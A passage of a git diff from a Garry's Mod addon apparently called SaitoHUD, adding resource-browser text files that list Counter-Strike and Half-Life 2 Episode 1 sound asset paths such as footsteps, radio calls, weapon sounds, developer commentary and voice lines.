+player/footsteps/ladder1.wav +player/footsteps/ladder2.wav +player/footsteps/ladder3.wav +player/footsteps/ladder4.wav +player/footsteps/metal1.wav +player/footsteps/metal2.wav +player/footsteps/metal3.wav +player/footsteps/metal4.wav +player/footsteps/metalgrate1.wav +player/footsteps/metalgrate2.wav +player/footsteps/metalgrate3.wav +player/footsteps/metalgrate4.wav +player/footsteps/mud1.wav +player/footsteps/mud2.wav +player/footsteps/mud3.wav +player/footsteps/mud4.wav +player/footsteps/sand1.wav +player/footsteps/sand2.wav +player/footsteps/sand3.wav +player/footsteps/sand4.wav +player/footsteps/slosh1.wav +player/footsteps/slosh2.wav +player/footsteps/slosh3.wav +player/footsteps/slosh4.wav +player/footsteps/snow1.wav +player/footsteps/snow2.wav +player/footsteps/snow3.wav +player/footsteps/snow4.wav +player/footsteps/snow5.wav +player/footsteps/snow6.wav +player/footsteps/tile1.wav +player/footsteps/tile2.wav +player/footsteps/tile3.wav +player/footsteps/tile4.wav +player/footsteps/wade1.wav +player/footsteps/wade2.wav +player/footsteps/wade3.wav +player/footsteps/wade4.wav +player/footsteps/wood1.wav +player/footsteps/wood2.wav +player/footsteps/wood3.wav +player/footsteps/wood4.wav +player/footsteps/woodpanel1.wav +player/footsteps/woodpanel2.wav +player/footsteps/woodpanel3.wav +player/footsteps/woodpanel4.wav +radio/blow.wav +radio/bombdef.wav +radio/bombpl.wav +radio/clear.wav +radio/com_getinpos.wav +radio/com_go.wav +radio/com_reportin.wav +radio/ctwin.wav +radio/ct_affirm.wav +radio/ct_backup.wav +radio/ct_coverme.wav +radio/ct_enemys.wav +radio/ct_fireinhole.wav +radio/ct_inpos.wav +radio/ct_reportingin.wav +radio/enemydown.wav +radio/fallback.wav +radio/fireassis.wav +radio/followme.wav +radio/go.wav +radio/hosdown.wav +radio/hostagecompromised.wav +radio/letsgo.wav +radio/locknload.wav +radio/moveout.wav +radio/negative.wav +radio/position.wav +radio/regroup.wav +radio/rescued.wav +radio/roger.wav +radio/rounddraw.wav +radio/sticktog.wav +radio/stormfront.wav +radio/takepoint.wav +radio/terwin.wav +radio/vip.wav +Resource/warning.wav +UI/buttonclick.wav +UI/buttonclickrelease.wav +UI/buttonrollover.wav +weapons/ClipEmpty_Pistol.wav +weapons/ClipEmpty_Rifle.wav +weapons/debris1.wav +weapons/debris2.wav +weapons/pinpull.wav +weapons/zoom.wav +weapons/ak47/ak47-1.wav +weapons/ak47/ak47_boltpull.wav +weapons/ak47/ak47_clipin.wav +weapons/ak47/ak47_clipout.wav +weapons/aug/aug-1.wav +weapons/aug/aug_boltpull.wav +weapons/aug/aug_boltslap.wav +weapons/aug/aug_clipin.wav +weapons/aug/aug_clipout.wav +weapons/aug/aug_forearm.wav +weapons/awp/awp1.wav +weapons/awp/awp_bolt.wav +weapons/awp/awp_clipin.wav +weapons/awp/awp_clipout.wav +weapons/c4/c4_beep1.wav +weapons/c4/c4_click.wav +weapons/c4/c4_disarm.wav +weapons/c4/c4_explode1.wav +weapons/c4/c4_exp_deb1.wav +weapons/c4/c4_exp_deb2.wav +weapons/c4/c4_plant.wav +weapons/deagle/deagle-1.wav +weapons/deagle/de_clipin.wav +weapons/deagle/de_clipout.wav +weapons/deagle/de_deploy.wav +weapons/deagle/de_slideback.wav +weapons/elite/elite-1.wav +weapons/elite/elite_clipout.wav +weapons/elite/elite_deploy.wav +weapons/elite/elite_leftclipin.wav +weapons/elite/elite_reloadstart.wav +weapons/elite/elite_rightclipin.wav +weapons/elite/elite_sliderelease.wav +weapons/famas/famas-1.wav +weapons/famas/famas_clipin.wav +weapons/famas/famas_clipout.wav +weapons/famas/famas_forearm.wav +weapons/fiveseven/fiveseven-1.wav +weapons/fiveseven/fiveseven_clipin.wav +weapons/fiveseven/fiveseven_clipout.wav +weapons/fiveseven/fiveseven_slideback.wav +weapons/fiveseven/fiveseven_slidepull.wav +weapons/fiveseven/fiveseven_sliderelease.wav +weapons/flashbang/flashbang_explode1.wav +weapons/flashbang/flashbang_explode2.wav +weapons/flashbang/grenade_hit1.wav +weapons/g3sg1/g3sg1-1.wav +weapons/g3sg1/g3sg1_clipin.wav +weapons/g3sg1/g3sg1_clipout.wav +weapons/g3sg1/g3sg1_slide.wav +weapons/galil/galil-1.wav +weapons/galil/galil_boltpull.wav +weapons/galil/galil_clipin.wav +weapons/galil/galil_clipout.wav +weapons/glock/glock18-1.wav +weapons/glock/glock_clipin.wav +weapons/glock/glock_clipout.wav +weapons/glock/glock_slideback.wav +weapons/glock/glock_sliderelease.wav +weapons/hegrenade/explode3.wav +weapons/hegrenade/explode4.wav +weapons/hegrenade/explode5.wav +weapons/hegrenade/he_bounce-1.wav +weapons/knife/knife_deploy1.wav +weapons/knife/knife_hit1.wav +weapons/knife/knife_hit2.wav +weapons/knife/knife_hit3.wav +weapons/knife/knife_hit4.wav +weapons/knife/knife_hitwall1.wav +weapons/knife/knife_slash1.wav +weapons/knife/knife_slash2.wav +weapons/knife/knife_stab.wav +weapons/m249/m249-1.wav +weapons/m249/m249_boxin.wav +weapons/m249/m249_boxout.wav +weapons/m249/m249_chain.wav +weapons/m249/m249_coverdown.wav +weapons/m249/m249_coverup.wav +weapons/m3/m3-1.wav +weapons/m3/m3_insertshell.wav +weapons/m3/m3_pump.wav +weapons/m4a1/m4a1-1.wav +weapons/m4a1/m4a1_boltpull.wav +weapons/m4a1/m4a1_clipin.wav +weapons/m4a1/m4a1_clipout.wav +weapons/m4a1/m4a1_deploy.wav +weapons/m4a1/m4a1_silencer_off.wav +weapons/m4a1/m4a1_silencer_on.wav +weapons/m4a1/m4a1_unsil-1.wav +weapons/mac10/mac10-1.wav +weapons/mac10/mac10_boltpull.wav +weapons/mac10/mac10_clipin.wav +weapons/mac10/mac10_clipout.wav +weapons/mp5navy/mp5-1.wav +weapons/mp5navy/mp5_clipin.wav +weapons/mp5navy/mp5_clipout.wav +weapons/mp5navy/mp5_slideback.wav +weapons/p228/p228-1.wav +weapons/p228/p228_clipin.wav +weapons/p228/p228_clipout.wav +weapons/p228/p228_slideback.wav +weapons/p228/p228_slidepull.wav +weapons/p228/p228_sliderelease.wav +weapons/p90/p90-1.wav +weapons/p90/p90_boltpull.wav +weapons/p90/p90_clipin.wav +weapons/p90/p90_clipout.wav +weapons/p90/p90_cliprelease.wav +weapons/scout/scout_bolt.wav +weapons/scout/scout_clipin.wav +weapons/scout/scout_clipout.wav +weapons/scout/scout_fire-1.wav +weapons/sg550/sg550-1.wav +weapons/sg550/sg550_boltpull.wav +weapons/sg550/sg550_clipin.wav +weapons/sg550/sg550_clipout.wav +weapons/sg552/sg552-1.wav +weapons/sg552/sg552_boltpull.wav +weapons/sg552/sg552_clipin.wav +weapons/sg552/sg552_clipout.wav +weapons/smokegrenade/grenade_hit1.wav +weapons/smokegrenade/sg_explode.wav +weapons/tmp/tmp-1.wav +weapons/tmp/tmp_clipin.wav +weapons/tmp/tmp_clipout.wav +weapons/ump45/ump45-1.wav +weapons/ump45/ump45_boltslap.wav +weapons/ump45/ump45_clipin.wav +weapons/ump45/ump45_clipout.wav +weapons/usp/usp1.wav +weapons/usp/usp_clipin.wav +weapons/usp/usp_clipout.wav +weapons/usp/usp_silencer_off.wav +weapons/usp/usp_silencer_on.wav +weapons/usp/usp_slideback.wav +weapons/usp/usp_slideback2.wav +weapons/usp/usp_sliderelease.wav +weapons/usp/usp_unsil-1.wav +weapons/xm1014/xm1014-1.wav +weapons/xm1014/xm1014_insertshell.wav diff --git a/Repos/HeXs_SaitoHUD-master/data/saitohud/resource_browser/sounds/hl2ep1.txt b/Repos/HeXs_SaitoHUD-master/data/saitohud/resource_browser/sounds/hl2ep1.txt new file mode 100644 index 0000000..e593f4e --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/data/saitohud/resource_browser/sounds/hl2ep1.txt @@ -0,0 +1,3142 @@ +ambient/intro/AlyxRemove.wav +ambient/intro/CitadelPan.wav +ambient/intro/Debris01.wav +ambient/intro/Debris02.wav +ambient/intro/Debris03.wav +ambient/intro/EndScreenHits.wav +ambient/intro/Explosion01.wav +ambient/intro/Explosion02.wav +ambient/intro/LogoSFX.wav +ambient/intro/VortigauntEnd-FrontL-R.wav +ambient/intro/VortigauntEnd-rearL-R.wav +ambient/intro/VortigauntTrack01.wav +ambient/intro/VortigauntTrack02.wav +ambient/levels/citadel/Advisor_Enter_Loop.wav +ambient/levels/citadel/Advisor_Leave.wav +ambient/levels/citadel/Advisor_Lift.wav +ambient/levels/citadel/citadel_5sirens.wav +ambient/levels/citadel/citadel_5sirens2.wav +ambient/levels/citadel/citadel_5sirens3.wav +ambient/levels/citadel/citadel_alarmdrone_loop1.wav +ambient/levels/citadel/citadel_breakershut1.wav +ambient/levels/citadel/citadel_breakershut2.wav +ambient/levels/citadel/citadel_bridgebeam1.wav +ambient/levels/citadel/citadel_coregrind_loop1.wav +ambient/levels/citadel/citadel_coregrind_loop2.wav +ambient/levels/citadel/citadel_coregrind_loop3.wav +ambient/levels/citadel/citadel_core_dataRewind03.wav +ambient/levels/citadel/citadel_sickcore_loop5.wav +ambient/levels/citadel/citadel_sickdrone_loop1.wav +ambient/levels/citadel/citadel_sickdrone_loop2.wav +ambient/levels/citadel/citadel_sickdrone_loop3.wav +ambient/levels/citadel/citadel_sickdrone_loop4.wav +ambient/levels/citadel/Core_contained_loop1.wav +ambient/levels/citadel/Core_far_uncontained_loop1.wav +ambient/levels/citadel/Core_near_uncontained_loop2.wav +ambient/levels/citadel/Core_partialcontain_loop1.wav +ambient/levels/citadel/Core_playerhit1.wav +ambient/levels/citadel/Core_uncontained_loop2.wav +ambient/levels/citadel/DataTransFmaleVx01.wav +ambient/levels/citadel/DataTransFMaleVx02.wav +ambient/levels/citadel/DataTransGarbledFMaleVx01.wav +ambient/levels/citadel/DataTransMaleVx01.wav +ambient/levels/citadel/DataTransMaleVx02.wav +ambient/levels/citadel/DataTransmission01_loop.wav +ambient/levels/citadel/DataTransmission02_loop.wav +ambient/levels/citadel/DataTransmission03_loop.wav +ambient/levels/citadel/DataTransmission04_loop.wav +ambient/levels/citadel/DataTransRandom01.wav +ambient/levels/citadel/DataTransRandom02.wav +ambient/levels/citadel/DataTransRandom03.wav +ambient/levels/citadel/fcitadel_alert.wav +ambient/levels/citadel/fcitadel_alert2.wav +ambient/levels/citadel/fcitadel_bypassdetected.wav +ambient/levels/citadel/fcitadel_corereprogramming1.wav +ambient/levels/citadel/fcitadel_deploydiagnose.wav +ambient/levels/citadel/fcitadel_deploysterilizers.wav +ambient/levels/citadel/fcitadel_restrictorsdisengaged.wav +ambient/levels/citadel/fcitadel_stabilization_disengaged1.wav +ambient/levels/citadel/fcitadel_sterilizerscompromized.wav +ambient/levels/citadel/mo_dataRewind03.wav +ambient/levels/citadel/stalk_GasEscape_loop.wav +ambient/levels/citadel/stalk_GravityGun_SheetMetal_Loop.wav +ambient/levels/citadel/stalk_HelmetClose.wav +ambient/levels/citadel/stalk_Opening_TrainArrive.wav +ambient/levels/citadel/stalk_PowerOff_On_17_10.wav +ambient/levels/citadel/stalk_Sparks_01.wav +ambient/levels/citadel/stalk_Spark_01.wav +ambient/levels/citadel/stalk_Spark_02.wav +ambient/levels/citadel/stalk_StalkerShakes_1_03_22.wav +ambient/levels/citadel/stalk_StalkerShakes_1_04_24.wav +ambient/levels/citadel/stalk_StalkerShakes_1_09_27.wav +ambient/levels/citadel/stalk_StalkerShakes_43_27.wav +ambient/levels/citadel/stalk_StalkerShakes_49_14.wav +ambient/levels/citadel/stalk_StalkerShakes_52_17.wav +ambient/levels/citadel/stalk_StalkerShakes_59_08.wav +ambient/levels/citadel/stalk_StalkerTrainInterior_Loop.wav +ambient/levels/citadel/stalk_StalkerTrainRide_L-R_36_06.wav +ambient/levels/citadel/stalk_StalkerTrainStartUp.wav +ambient/levels/citadel/stalk_StalkerTrainXtraBump01.wav +ambient/levels/citadel/stalk_StalkerTrainXtraBump02.wav +ambient/levels/citadel/stalk_StalkerTrainXtraBump03.wav +ambient/levels/citadel/stalk_StalkerTrnRide_L-R_1_13_05.wav +ambient/levels/citadel/stalk_TrainDoorOpen.wav +ambient/levels/city/CitadelOutsideFX01.wav +ambient/levels/city/CitadelOutsideFX02.wav +ambient/levels/city/CitadelOutsideFX03.wav +ambient/levels/city/CitadelOutsideFX04.wav +ambient/levels/city/CitadelOutsideFX05.wav +ambient/levels/city/CitadelOutsideFX06.wav +ambient/levels/city/CitadelOutsideFX07.wav +ambient/levels/city/CitadelOutsideFX08.wav +ambient/levels/city/CitadelOutsideFX09.wav +ambient/levels/city/citadel_alertgrind_loop1.wav +ambient/levels/city/citadel_cloudhit1.wav +ambient/levels/city/citadel_cloudhit2.wav +ambient/levels/city/citadel_cloudhit3.wav +ambient/levels/city/citadel_cloudhit4.wav +ambient/levels/city/citadel_cloudhit5.wav +ambient/levels/city/citadel_critical_loop1.wav +ambient/levels/city/citadel_grinder_loop1.wav +ambient/levels/city/citadel_nearwinds_loop1.wav +ambient/levels/city/citadel_winds_loop1.wav +ambient/levels/city/citizen_bridge_wheel_loop1.wav +ambient/levels/city/ZombiDoorLoop01.wav +ambient/levels/city/ZombiDoorLoop02.wav +ambient/levels/city/ZombiDoorScrapeLoop01.wav +ambient/levels/intro/DogDoorHitGround_0_33_09.wav +ambient/levels/intro/DogGunshipDrop.wav +ambient/levels/intro/DogGunshipPickUp01.wav +ambient/levels/intro/DogGunshipPickUp02.wav +ambient/levels/intro/DogPickUpVan_1_18_13.wav +ambient/levels/intro/DogShakeVan1_25_00.wav +ambient/levels/intro/DogTearOffVanDoor.wav +ambient/levels/intro/DogThrowVan1_33_21.wav +ambient/levels/intro/DogThrowVanImpact_0_19_11.wav +ambient/levels/intro/DoorImpact01.wav +ambient/levels/intro/DoorImpact02.wav +ambient/levels/intro/DoorImpact03.wav +ambient/levels/intro/Rhumble_1_42_07.wav +ambient/levels/intro/Rhumble_2_12_13.wav +ambient/levels/intro/VanFall_2_14_00.wav +ambient/levels/intro/VanImpact1_35_21.wav +ambient/levels/intro/VanRidePartII_2_02_11.wav +ambient/levels/intro/VanRideStart_1_51_13.wav +ambient/levels/intro/VanShakes_1_44_12.wav +ambient/outro/3rdAmb.wav +ambient/outro/AdvisorAttack01.wav +ambient/outro/AdvisorAttack02.wav +ambient/outro/AdvisorAttack03.wav +ambient/outro/BeginningAmbience.wav +ambient/outro/CircleExplosion01.wav +ambient/outro/CitadelFinale.wav +ambient/outro/EndAmbience.wav +ambient/outro/Explosion02.wav +ambient/outro/GunShipCrash.wav +ambient/outro/LowerCitadelExplosionGroup.wav +ambient/outro/MessagePacket01.wav +ambient/outro/MessagePacket02.wav +ambient/outro/MessagePacketsMultiple.wav +ambient/outro/MessagePacketsMultiple02.wav +ambient/outro/OutOfTunnel2ndAmb.wav +ambient/outro/PodPassby01.wav +ambient/outro/PodPassby02.wav +ambient/outro/Thunder01.wav +ambient/outro/Thunder02.wav +ambient/outro/Thunder03.wav +ambient/outro/Thunder04.wav +ambient/outro/Thunder05.wav +ambient/outro/Thunder06.wav +ambient/outro/Thunder07.wav +commentary/3stepapproach.wav +commentary/advisorsighting.wav +commentary/airventcollapse.wav +commentary/ALG_strategy.wav +commentary/alg_vs_apc.wav +commentary/alyxcitadeltone.wav +commentary/alyxconsole.wav +commentary/alyxnag.wav +commentary/alyxrunspeed.wav +commentary/alyxsniper.wav +commentary/alyxthekey.wav +commentary/alyx_ledge.wav +commentary/alyx_specular.wav +commentary/artgameplaystandards.wav +commentary/artpassgarage.wav +commentary/balltubes.wav +commentary/bangingzombies.wav +commentary/barneysbigcrowbar.wav +commentary/battleofreflexes.wav +commentary/benefitsofdarkness.wav +commentary/burrowblocking.wav +commentary/c17vista.wav +commentary/charactersys.wav +commentary/citadellook.wav +commentary/citadel_skybox.wav +commentary/citdestruction.wav +commentary/citylook.wav +commentary/collapsingelevator.wav +commentary/combinecorelook.wav +commentary/corecolorscheme.wav +commentary/coredoors.wav +commentary/corepaths.wav +commentary/coresphere.wav +commentary/crashedstalkercar.wav +commentary/crouchingalyx.wav +commentary/crumbtrail.wav +commentary/dogmyhero.wav +commentary/dog_dropship.wav +commentary/dog_throw.wav +commentary/doorblasts.wav +commentary/drawingattention.wav +commentary/dynamicss.wav +commentary/escortmap.wav +commentary/falling_debris.wav +commentary/finalcontrolroompuzzle.wav +commentary/finalereqs.wav +commentary/firstvista.wav +commentary/flares.wav +commentary/flashlightgameplay.wav +commentary/followthewire.wav +commentary/foreshadowgunship.wav +commentary/garrisonapproach.wav +commentary/gunshipcloseup.wav +commentary/gunshipdesign.wav +commentary/hackingrollers.wav +commentary/hdrcomment.wav +commentary/holdupasec.wav +commentary/holetraining.wav +commentary/hospitalart.wav +commentary/hospitalprops.wav +commentary/hospitalrespite.wav +commentary/hurryback.wav +commentary/intro.wav +commentary/intro_design.wav +commentary/intro_effects.wav +commentary/justhavetodoit.wav +commentary/kleinercast.wav +commentary/likeablealyx.wav +commentary/metalplates.wav +commentary/monitorscene.wav +commentary/monitor_scene.wav +commentary/monsterintro.wav +commentary/newstrider.wav +commentary/newtrainstation.wav +commentary/noammo.wav +commentary/nodegraph.wav +commentary/ohmygod.wav +commentary/oldschool.wav +commentary/padlockmistakes.wav +commentary/plausiblerepopulation.wav +commentary/podrising.wav +commentary/podroomlook.wav +commentary/poisonambush.wav +commentary/powerboxes.wav +commentary/puzzlearc.wav +commentary/puzzlerefinement.wav +commentary/responserules.wav +commentary/rolleradventure.wav +commentary/rollertraining.wav +commentary/sealingoffcafe.wav +commentary/secondballtube.wav +commentary/separatefromalyx.wav +commentary/shotgunalyx.wav +commentary/silhouette.wav +commentary/skilllevelchange.wav +commentary/skybridgezombies.wav +commentary/spacerefinement.wav +commentary/stalkerball.wav +commentary/stalkeriteration.wav +commentary/stalkertrainmodels.wav +commentary/strollwithbarney.wav +commentary/tempcover.wav +commentary/thecore.wav +commentary/traincarmodel.wav +commentary/tripminetraps.wav +commentary/turrets.wav +commentary/vortexoflove.wav +commentary/weaponpickup.wav +commentary/whatwasthatthing.wav +commentary/whereisshe.wav +commentary/youdidthemath.wav +commentary/youremynewhero.wav +commentary/zombietrap.wav +commentary/zombinegrenades.wav +commentary/zombinemusic.wav +music/VLVX_song1.mp3 +music/VLVX_song11.mp3 +music/VLVX_song12.mp3 +music/VLVX_song18.mp3 +music/VLVX_song19a.mp3 +music/VLVX_song19b.mp3 +music/VLVX_song2.mp3 +music/VLVX_song21.mp3 +music/VLVX_song4.mp3 +music/VLVX_song8.mp3 +npc/advisor/AdvisorHeadVx01.wav +npc/advisor/AdvisorHeadVx02.wav +npc/advisor/AdvisorHeadVx03.wav +npc/advisor/AdvisorHeadVx04.wav +npc/advisor/AdvisorHeadVx05.wav +npc/advisor/AdvisorHeadVx06.wav +npc/advisor/AdvisorScreenVx01.wav +npc/advisor/AdvisorScreenVx02.wav +npc/advisor/AdvisorScreenVx03.wav +npc/advisor/AdvisorScreenVx04.wav +npc/advisor/AdvisorScreenVx05.wav +npc/advisor/AdvisorScreenVx06.wav +npc/advisor/AdvisorScreenVx07.wav +npc/advisor/AdvisorScreenVx08.wav +npc/advisor/advisor_speak01.wav +npc/antlion/attack_muffled_double1.wav +npc/antlion/attack_muffled_double2.wav +npc/antlion/attack_muffled_double3.wav +npc/antlion/attack_muffled_single1.wav +npc/antlion/attack_muffled_single2.wav +npc/antlion/attack_muffled_single3.wav +npc/antlion/muffled_boulder_impact_hard1.wav +npc/antlion/muffled_boulder_impact_hard2.wav +npc/antlion/muffled_concrete_break3.wav +npc/antlion_guard/breathe_loop.wav +npc/antlion_guard/far_foot_heavy1.wav +npc/antlion_guard/far_foot_heavy2.wav +npc/antlion_guard/far_foot_light1.wav +npc/antlion_guard/far_foot_light2.wav +npc/antlion_guard/frustrated_growl1.wav +npc/antlion_guard/frustrated_growl2.wav +npc/antlion_guard/frustrated_growl3.wav +npc/antlion_guard/near_foot_heavy1.wav +npc/antlion_guard/near_foot_heavy2.wav +npc/antlion_guard/near_foot_light1.wav +npc/antlion_guard/near_foot_light2.wav +npc/combine_soldier/zipline1.wav +npc/combine_soldier/zipline2.wav +npc/combine_soldier/zipline_clip1.wav +npc/combine_soldier/zipline_clip2.wav +npc/combine_soldier/zipline_clothing1.wav +npc/combine_soldier/zipline_clothing2.wav +npc/combine_soldier/zipline_hitground1.wav +npc/combine_soldier/zipline_hitground2.wav +npc/combine_soldier/vo/off1.wav +npc/combine_soldier/vo/off2.wav +npc/combine_soldier/vo/off3.wav +npc/combine_soldier/vo/on1.wav +npc/combine_soldier/vo/on2.wav +npc/dog/DogPhrase01.wav +npc/dog/DogPhrase02.wav +npc/dog/DogPhrase03.wav +npc/dog/DogPhrase04.wav +npc/dog/DogPhrase05.wav +npc/dog/DogPhrase06.wav +npc/dog/DogPhrase07.wav +npc/dog/DogPhrase08.wav +npc/dog/DogPhrase09.wav +npc/dog/DogPhrase10.wav +npc/dog/DogPhrase11.wav +npc/dog/DogPhrase12.wav +npc/dog/DogPhrase13.wav +npc/dog/DogPhrase14.wav +npc/dog/DogPhrase15.wav +npc/dog/DogPhrase16.wav +npc/dog/DogPhrase17.wav +npc/dog/DogPhrase18.wav +npc/dog/dog_footstep_run01.wav +npc/dog/dog_footstep_run02.wav +npc/dog/dog_footstep_run03.wav +npc/dog/dog_footstep_run04.wav +npc/dog/dog_footstep_run05.wav +npc/dog/dog_footstep_run06.wav +npc/dog/dog_footstep_run07.wav +npc/dog/dog_footstep_run08.wav +npc/dog/dog_footstep_run09.wav +npc/dog/dog_footstep_run10.wav +npc/dog/dog_footstep_walk01.wav +npc/dog/dog_footstep_walk02.wav +npc/dog/dog_footstep_walk03.wav +npc/dog/dog_footstep_walk04.wav +npc/dog/dog_footstep_walk05.wav +npc/dog/dog_footstep_walk06.wav +npc/dog/dog_footstep_walk07.wav +npc/dog/dog_footstep_walk08.wav +npc/dog/dog_footstep_walk09.wav +npc/dog/dog_footstep_walk10.wav +npc/ministrider/alert2.wav +npc/ministrider/alert4.wav +npc/ministrider/ministrider_footstep2.wav +npc/ministrider/ministrider_footstep5.wav +npc/roller/mine/rmine_reprogram.wav +npc/roller/mine/rmine_reprogram1.wav +npc/sniper/echo1.wav +npc/sniper/reload1.wav +npc/sniper/sniper1.wav +npc/stalker/stalker_alert1b.wav +npc/stalker/stalker_alert2b.wav +npc/stalker/stalker_alert3b.wav +npc/stalker/stalker_ambient01.wav +npc/stalker/stalker_die1.wav +npc/stalker/stalker_die2.wav +npc/stalker/stalker_pain1.wav +npc/stalker/stalker_pain2.wav +npc/stalker/stalker_pain3.wav +npc/stalker/stalker_scream1.wav +npc/stalker/stalker_scream2.wav +npc/stalker/stalker_scream3.wav +npc/stalker/stalker_scream4.wav +npc/strider/strider_hunt1.wav +npc/strider/strider_hunt2.wav +npc/strider/strider_hunt3.wav +npc/zombine/gear1.wav +npc/zombine/gear2.wav +npc/zombine/gear3.wav +npc/zombine/zombine_alert1.wav +npc/zombine/zombine_alert2.wav +npc/zombine/zombine_alert3.wav +npc/zombine/zombine_alert4.wav +npc/zombine/zombine_alert5.wav +npc/zombine/zombine_alert6.wav +npc/zombine/zombine_alert7.wav +npc/zombine/zombine_charge1.wav +npc/zombine/zombine_charge2.wav +npc/zombine/zombine_die1.wav +npc/zombine/zombine_die2.wav +npc/zombine/zombine_idle1.wav +npc/zombine/zombine_idle2.wav +npc/zombine/zombine_idle3.wav +npc/zombine/zombine_idle4.wav +npc/zombine/zombine_pain1.wav +npc/zombine/zombine_pain2.wav +npc/zombine/zombine_pain3.wav +npc/zombine/zombine_pain4.wav +npc/zombine/zombine_readygrenade1.wav +npc/zombine/zombine_readygrenade2.wav +vo/episode_1/c17/alyx_npc_comp.wav +vo/episode_1/c17/al_50broke.wav +vo/episode_1/c17/al_50list01.wav +vo/episode_1/c17/al_50list02.wav +vo/episode_1/c17/al_50list03.wav +vo/episode_1/c17/al_50list04.wav +vo/episode_1/c17/al_50list05.wav +vo/episode_1/c17/al_50list06.wav +vo/episode_1/c17/al_airductstory01.wav +vo/episode_1/c17/al_airductstory02.wav +vo/episode_1/c17/al_airductstory03.wav +vo/episode_1/c17/al_airductstory04.wav +vo/episode_1/c17/al_alert_zombies01.wav +vo/episode_1/c17/al_alert_zombies02.wav +vo/episode_1/c17/al_alert_zombies03.wav +vo/episode_1/c17/al_alert_zombies04.wav +vo/episode_1/c17/al_alert_zombies05.wav +vo/episode_1/c17/al_alert_zombies06.wav +vo/episode_1/c17/al_alert_zombies07.wav +vo/episode_1/c17/al_anelevator01.wav +vo/episode_1/c17/al_anelevator02.wav +vo/episode_1/c17/al_anothergunship.wav +vo/episode_1/c17/al_anotherway01.wav +vo/episode_1/c17/al_anotherway02.wav +vo/episode_1/c17/al_antguard.wav +vo/episode_1/c17/al_antguard_victory.wav +vo/episode_1/c17/al_antlionshere01.wav +vo/episode_1/c17/al_antlionshere02.wav +vo/episode_1/c17/al_antlionshere03.wav +vo/episode_1/c17/al_antlionstrapped.wav +vo/episode_1/c17/al_antlions_cantgetoutnow.wav +vo/episode_1/c17/al_antlions_cominguphere.wav +vo/episode_1/c17/al_antlions_cutsupply.wav +vo/episode_1/c17/al_antlions_firstsight.wav +vo/episode_1/c17/al_antlions_goodidea.wav +vo/episode_1/c17/al_antlions_goodwork.wav +vo/episode_1/c17/al_antlions_holycrap.wav +vo/episode_1/c17/al_antlions_keepcontrol.wav +vo/episode_1/c17/al_antlions_pluganyhole.wav +vo/episode_1/c17/al_antlions_plugthatway.wav +vo/episode_1/c17/al_antlions_runoutbullets.wav +vo/episode_1/c17/al_ant_block01.wav +vo/episode_1/c17/al_ant_block02.wav +vo/episode_1/c17/al_ant_block03.wav +vo/episode_1/c17/al_ant_block04.wav +vo/episode_1/c17/al_ant_block05.wav +vo/episode_1/c17/al_ant_block06.wav +vo/episode_1/c17/al_ant_block07.wav +vo/episode_1/c17/al_ant_block08.wav +vo/episode_1/c17/al_ant_block09.wav +vo/episode_1/c17/al_ant_flip.wav +vo/episode_1/c17/al_ant_uncovered01.wav +vo/episode_1/c17/al_ant_uncovered02.wav +vo/episode_1/c17/al_ant_uncovered03.wav +vo/episode_1/c17/al_ant_uncovered04.wav +vo/episode_1/c17/al_awayfromdoors.wav +vo/episode_1/c17/al_backsosoon.wav +vo/episode_1/c17/al_barnacle_lightup.wav +vo/episode_1/c17/al_barnacle_morearound.wav +vo/episode_1/c17/al_barnacle_walkedinto.wav +vo/episode_1/c17/al_barneyoverhere.wav +vo/episode_1/c17/al_barn_bye.wav +vo/episode_1/c17/al_barn_seeyouatstn.wav +vo/episode_1/c17/al_betterchance.wav +vo/episode_1/c17/al_breenbust.wav +vo/episode_1/c17/al_breenshrine.wav +vo/episode_1/c17/al_byebarney.wav +vo/episode_1/c17/al_carefulzombies.wav +vo/episode_1/c17/al_citnag_evac01.wav +vo/episode_1/c17/al_citnag_evac02.wav +vo/episode_1/c17/al_citnag_evac03.wav +vo/episode_1/c17/al_citnag_evac04.wav +vo/episode_1/c17/al_cit_getoutofhere.wav +vo/episode_1/c17/al_cit_goodshot01.wav +vo/episode_1/c17/al_cit_goodshot02.wav +vo/episode_1/c17/al_cit_goodshot03.wav +vo/episode_1/c17/al_cit_goodshot04.wav +vo/episode_1/c17/al_cit_heythanks.wav +vo/episode_1/c17/al_cit_join01.wav +vo/episode_1/c17/al_cit_join02.wav +vo/episode_1/c17/al_cit_join03.wav +vo/episode_1/c17/al_cit_keepmoving.wav +vo/episode_1/c17/al_cit_niceshooting.wav +vo/episode_1/c17/al_claustro.wav +vo/episode_1/c17/al_comeon.wav +vo/episode_1/c17/al_coverstreet.wav +vo/episode_1/c17/al_crabpod_findaway.wav +vo/episode_1/c17/al_crabpod_getaway.wav +vo/episode_1/c17/al_crabpod_omg.wav +vo/episode_1/c17/al_crabpod_wthell.wav +vo/episode_1/c17/al_cramped01.wav +vo/episode_1/c17/al_cramped02.wav +vo/episode_1/c17/al_crank1_gettotrain.wav +vo/episode_1/c17/al_crank2_didntforget.wav +vo/episode_1/c17/al_crank2_done01.wav +vo/episode_1/c17/al_crank2_done02.wav +vo/episode_1/c17/al_crank2_fireout01.wav +vo/episode_1/c17/al_crank2_fireout02.wav +vo/episode_1/c17/al_crank2_onecrank.wav +vo/episode_1/c17/al_crank_crankit.wav +vo/episode_1/c17/al_crank_evac.wav +vo/episode_1/c17/al_crank_found.wav +vo/episode_1/c17/al_crank_gone.wav +vo/episode_1/c17/al_crank_holdon01.wav +vo/episode_1/c17/al_crank_holdon02.wav +vo/episode_1/c17/al_crank_lookslike.wav +vo/episode_1/c17/al_crank_seeifworks.wav +vo/episode_1/c17/al_crank_working.wav +vo/episode_1/c17/al_darkinhere.wav +vo/episode_1/c17/al_dark_almostdone_01.wav +vo/episode_1/c17/al_dark_doorlocked_01.wav +vo/episode_1/c17/al_dark_doorlocked_02.wav +vo/episode_1/c17/al_dark_findpowerbox_01.wav +vo/episode_1/c17/al_dark_findpowerbox_02.wav +vo/episode_1/c17/al_dark_findpowerbox_03.wav +vo/episode_1/c17/al_dark_findpowerbox_04.wav +vo/episode_1/c17/al_dark_foundpowerbox_01.wav +vo/episode_1/c17/al_dark_holdlightsteady_01.wav +vo/episode_1/c17/al_dark_needlight_01.wav +vo/episode_1/c17/al_dark_needlight_02.wav +vo/episode_1/c17/al_dark_success_01.wav +vo/episode_1/c17/al_defensedown01.wav +vo/episode_1/c17/al_defensedown02.wav +vo/episode_1/c17/al_defensedown03.wav +vo/episode_1/c17/al_distractstrider.wav +vo/episode_1/c17/al_dontfall.wav +vo/episode_1/c17/al_dontseehow.wav +vo/episode_1/c17/al_elev_actual.wav 